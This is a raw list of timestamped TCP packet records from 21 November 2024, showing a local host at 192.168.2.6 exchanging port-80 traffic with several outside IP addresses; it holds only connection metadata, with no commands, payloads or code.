Nov 21, 2024 14:11:18.118146896 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.118202925 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.118961096 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.119043112 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.119075060 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.119113922 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.119123936 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.119194984 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.119831085 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.119889021 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.119900942 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.119914055 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.119966030 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.120001078 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.121049881 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.121120930 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.121125937 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.121131897 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.121182919 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.121793032 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.121805906 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.121813059 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.121871948 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.122440100 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.122503042 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.122504950 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.122515917 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.122570992 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.123336077 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.123393059 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.123404980 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.123486996 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.124248028 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.124336004 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.124349117 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.124361038 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.124413013 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.125087023 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.125137091 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.125144958 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.125149965 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.125200033 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.125993013 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.126036882 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.126063108 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.126068115 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.126096010 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.126857042 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.126909018 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.126916885 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.126920938 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.126949072 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.126981974 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.127795935 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.127850056 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.127986908 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.128036022 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.128041983 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.128053904 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.128093958 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.128900051 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.128952026 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.128969908 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.129024982 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.129759073 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.129776955 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.129787922 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.129827023 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.129857063 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.130645037 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.130697012 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.130712032 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.130723953 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.130784988 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.131577015 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.131625891 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.131655931 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.131699085 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.131947041 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.132416964 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.132471085 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.132559061 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.132581949 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.132602930 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.132632017 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.133280993 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.133331060 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.133347988 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.133359909 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.133389950 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.133403063 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.134196043 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.134244919 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.134264946 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.134277105 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.134309053 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.134325981 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.135023117 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.135087013 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.135087013 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.135098934 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.135143042 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.135904074 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.135943890 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.136070967 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.136132956 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.136236906 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.136812925 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.136863947 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.136872053 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.136883020 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.136929035 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.136951923 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.137655973 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.137712002 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.308583975 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.308660984 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.308732986 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.308758974 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.308780909 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.308809042 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.309025049 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.309096098 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.309097052 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.309122086 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.309149027 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.309171915 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.309843063 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.309880018 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.309904099 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.309916019 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.309937954 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.309961081 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.310718060 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.310770988 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.310785055 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.310808897 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.310821056 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.310869932 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.311615944 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.311686039 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.311692953 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.311722994 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.311778069 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.312515020 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.312573910 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.312591076 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.312625885 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.312654972 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.312664032 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.313358068 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.313410997 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:18.313575029 CET	80	49876	31.41.244.11	192.168.2.6
Nov 21, 2024 14:11:18.313621044 CET	49876	80	192.168.2.6	31.41.244.11
Nov 21, 2024 14:11:20.621164083 CET	49871	80	192.168.2.6	185.215.113.43
Nov 21, 2024 14:11:20.621532917 CET	49902	80	192.168.2.6	185.215.113.43
Nov 21, 2024 14:11:20.741635084 CET	80	49871	185.215.113.43	192.168.2.6
Nov 21, 2024 14:11:20.741679907 CET	80	49902	185.215.113.43	192.168.2.6
Nov 21, 2024 14:11:20.741708040 CET	49871	80	192.168.2.6	185.215.113.43
Nov 21, 2024 14:11:20.741779089 CET	49902	80	192.168.2.6	185.215.113.43
Nov 21, 2024 14:11:20.742039919 CET	49902	80	192.168.2.6	185.215.113.43
Nov 21, 2024 14:11:20.861846924 CET	80	49902	185.215.113.43	192.168.2.6
Nov 21, 2024 14:11:21.510987997 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:21.630703926 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:21.630820036 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:21.631759882 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:21.751626015 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:22.178541899 CET	80	49902	185.215.113.43	192.168.2.6
Nov 21, 2024 14:11:22.178723097 CET	49902	80	192.168.2.6	185.215.113.43
Nov 21, 2024 14:11:22.181705952 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:22.301299095 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:22.301384926 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:22.301546097 CET	49905	80	192.168.2.6	185.215.113.16
Nov 21, 2024 14:11:22.421232939 CET	80	49905	185.215.113.16	192.168.2.6
Nov 21, 2024 14:11:23.009725094 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.009790897 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.009828091 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.009865999 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.009867907 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.009902954 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.009906054 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.010509968 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.010557890 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.010593891 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.010627985 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.010729074 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.010765076 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.010771036 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.010803938 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.129478931 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.129569054 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.129661083 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.133671999 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.180010080 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.201673031 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.201780081 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.201900959 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.205967903 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.206116915 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.206175089 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.214313984 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.214421988 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.214567900 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.222682953 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.222791910 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.222832918 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.231023073 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.231170893 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.231302977 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.239438057 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.239516973 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.239552975 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.247767925 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.247888088 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.247930050 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.256123066 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.256225109 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.256273985 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.264486074 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.264601946 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.264662027 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.272939920 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.273051023 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.273180962 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.300786018 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.300822020 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.300875902 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.304981947 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.351865053 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.393887997 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.393943071 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.393990040 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.396198034 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.396302938 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.396373034 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.400995016 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.401016951 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.401062965 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.405838013 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.405919075 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.405977011 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.410562992 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.410650015 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.410696030 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.415370941 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.415473938 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.415518999 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.420104027 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.420176029 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.420217037 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.424882889 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.425044060 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.425086021 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.429728031 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.429791927 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.429833889 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.434462070 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.434576035 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.434619904 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.439268112 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.439430952 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.439476013 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.444006920 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.444118023 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.444165945 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.448832035 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.448915958 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.448960066 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.453648090 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.453733921 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.453780890 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.458373070 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.458486080 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.458538055 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.463150978 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.463263035 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.463318110 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.467931986 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.468035936 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.468082905 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.472728968 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.472765923 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.472816944 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.477590084 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.477667093 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.477719069 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.482310057 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.482563972 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.482604027 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.487211943 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.487247944 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.487323999 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.491857052 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.491935968 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.492039919 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.518126011 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.518235922 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.518284082 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.520446062 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.570611954 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.585851908 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.585907936 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.586081028 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.587482929 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.588145971 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.588187933 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.588232040 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.591588020 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.591650009 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.591675043 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.595020056 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.595079899 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.595118046 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.598371029 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.598431110 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.598476887 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.601710081 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.601788044 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.601830959 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.605003119 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.605047941 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.605087996 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.608205080 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.608248949 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.608280897 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.611494064 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.611634016 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.611637115 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.614475965 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.614537001 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.614625931 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.617490053 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.617536068 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.617645979 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.620527983 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.620583057 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.620585918 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.623554945 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:23.623640060 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:23.623650074 CET	80	49903	34.116.198.130	192.168.2.6
